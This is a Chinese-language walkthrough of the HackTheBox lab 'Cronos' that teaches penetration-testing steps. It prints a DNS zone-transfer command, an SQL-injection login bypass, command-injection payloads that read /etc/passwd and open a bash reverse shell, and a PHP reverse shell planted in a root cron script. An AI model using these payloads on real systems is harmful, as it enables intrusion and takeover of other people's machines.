HTB渗透之Cronos

admin 2022年12月8日18:53:22评论76 views字数 3430阅读11分26秒阅读模式

Cronos 是一个中等难度的靶机,知识点涉及 DNS 区域传输、万能密码、命令执行、计划任务提权等。感兴趣的同学可以在HackTheBox中进行学习。

HTB渗透之Cronos

通关思维导图HTB渗透之Cronos

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.13 -oA nmap_Cronos --min-rate=1000
HTB渗透之Cronos

扫描结果显示目标开放22、53及80端口

53端口

53端口对应的是 DNS 服务,主要用于域名解析,可实现域名和 IP 地址之间的转换。通过 nslookup 命令可查询当前的域名服务器

nslookup
> server 10.10.10.13
> 10.10.10.13
HTB渗透之Cronos

当前域名服务器为ns1.cronos.htb,所基于的域名是cronos.htb。我们可利用该域名尝试 DNS 区域传输攻击

dig axfr @10.10.10.13 cronos.htb
HTB渗透之Cronos

成功拿到两个子域名:www.cronos.htbadmin.cronos.htb,并把它们添加至 hosts 文件中配置域名解析

vim /etc/hosts
#配置
10.10.10.13 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb

80端口

访问后为 Ubuntu Apache 2 默认界面HTB渗透之Cronos

访问域名www.cronos.htb,其中所有外链都指向 Laravel 框架HTB渗透之Cronos

在响应包中存在laravel_session,因此可确定网站采用了 Laravel 框架HTB渗透之Cronos

访问域名admin.cronos.htb为管理员登录界面HTB渗透之Cronos

漏洞查找

Laravel是一个开源的PHP框架,用于构建Web应用程序。它主要用于快速开发和可扩展的Web应用,提供了丰富的工具和组件来帮助开发者开发和维护Web应用。Laravel也专注于保持编码质量,并提供简单而优雅的解决方案,以便开发者可以更快地完成工作。

使用 searchsploit 搜索 Laravel 框架已知的漏洞

searchsploit laravel
HTB渗透之Cronos

结果中比较有价值的是 token 反序列化导致的远程代码执行漏洞,但是该漏洞执行条件需要APP_KEY,同时也无法确定网站中 Laravel 框架的版本是什么?如果成功找到APP_KEY可尝试使用该漏洞进行验证

0x02 上线[www-data]

万能密码

在登录界面中存在万能密码漏洞,例如使用用户名admin'-- - + 任意密码可成功登录应用HTB渗透之Cronos

万能密码的本质是 SQL 注入漏洞,根据当前 payload 推测其 SQL 语句如下:

select * from users where username='[username]' and password='
		
输入密码查看隐藏内容

'
;

填入当前 payload 后可成功绕过,从而实现用户登录

select * from users where username='admin'-- -' and password='1';

在后台应用中只有一个网络工具,其中存在ping以及traceroute命令,主要用于测试网络连通性HTB渗透之Cronos

测试本地地址,成功 ping 通HTB渗透之Cronos

命令执行

使用 BurpSuite 抓包,拿到请求包如下:

POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://admin.cronos.htb
Connection: close
Referer: http://admin.cronos.htb/welcome.php
Cookie: PHPSESSID=q7j3dm1vf4umfn7r9s9fb7ans6
Upgrade-Insecure-Requests: 1

command=ping+-c+1&host=10.10.14.14

推测其中的command参数和host参数共同构成命令:ping -c 1 10.10.14.14,在本地执行后对比其结果与页面返回信息一致HTB渗透之Cronos

尝试拼接命令查看/etc/passwd,成功返回说明推测正确

command=cat&host=/etc/passwd
HTB渗透之Cronos

通过 URL 编码反弹shell

command=bash+-c+'exec+bash+-i+%26>/dev/tcp/10.10.14.14/443+<%261'&host=
HTB渗透之Cronos

成功拿到反弹shell,当前权限为www-data

id
HTB渗透之Cronos

在用户目录/home/noulis中成功找到第一个flag

cd /home/noulis && ls
cat user.txt
HTB渗透之Cronos

0x03 权限提升[root]

信息收集

在本地启动 http 服务并在靶机中下载linpeas.sh

cd /tmp
wget http://10.10.14.14/linpeas.sh
HTB渗透之Cronos

执行linpeas.sh收集靶机中有关系统的安全设置和可能存在的漏洞信息

chmod +x linpeas.sh
./linpeas.sh
HTB渗透之Cronos

成功找到计划任务,它将每隔一分钟以 root 权限执行一次以下命令

php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
HTB渗透之Cronos

当然还发现了 Laravel 的配置信息,其中存在数据库配置、APP_KEYHTB渗透之Cronos

计划任务提权

查看文件artisan的权限,发现当前用户拥有可读、可写、可执行权限

ls -la /var/www/laravel/artisan
HTB渗透之Cronos

其内容是 PHP 脚本

cat /var/www/laravel/artisan
HTB渗透之Cronos

artisan中写入反弹shell代码

echo '<?php $sock=fsockopen("10.10.14.14", 4444);' > artisan
echo 'exec("/bin/sh -i <&3 >&3 2>&3");?>' >> artisan
HTB渗透之Cronos

等待计划任务执行,成功拿到反弹shellHTB渗透之Cronos

通过 python 调用 bash 使命令行更加清晰

python -c 'import pty;pty.spawn("bash")'

成功在/root目录中找到第二个flag

ls /root
cat root.txt
HTB渗透之Cronos

0x04 总结

Cronos 分离开来是 Cron + OS,Cron 译为计划,而 OS 为操作系统,由名字可知该靶机可能涉及到计划任务。通过信息收集发现目标开放53和80端口,而53端口对应 DNS 服务,经测试存在 DNS 区域传输漏洞,利用该漏洞可成功拿到两个子域名:www.cronos.htbadmin.cronos.htb。配置域名解析后访问所对应的网站,其中www子域名站点使用 Laravel 框架,admin子域名站点则为管理登录界面。

使用 searchsploit 搜索 Laravel 框架存在的漏洞,经判断都无法利用。但登录界面中存在万能密码漏洞,通过admin'-- -配合任意密码可绕过限制登录后台,但后台只有一个网络工具,它的主要功能是使用pingtraceroute命令测试网络,通过 BurpSuite 抓包可知命令执行会传递commandhost参数,两者拼接后组成完整的命令。由于后台未对执行的命令进行限制,所以存在命令执行漏洞,利用该漏洞可成功拿到反弹shell。

上传linpeaas至服务器,该脚本执行后会检查 Linux 中的安全配置、敏感文件以及可能存在的漏洞。结果发现 Laravel 的配置信息以及可利用的计划任务,计划任务的具体内容是每分钟以 root 权限执行脚本/var/www/laravel/artisan,幸运的是当前用户拥有该脚本的写入权限,因此可写入利用代码覆盖原脚本,完成后等待计划任务执行便能拿到 root 权限。


原文始发于微信公众号(A11Safe):HTB渗透之Cronos

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月8日18:53:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB渗透之Cronoshttp://cn-sec.com/archives/1452190.html

发表评论

匿名网友 填写信息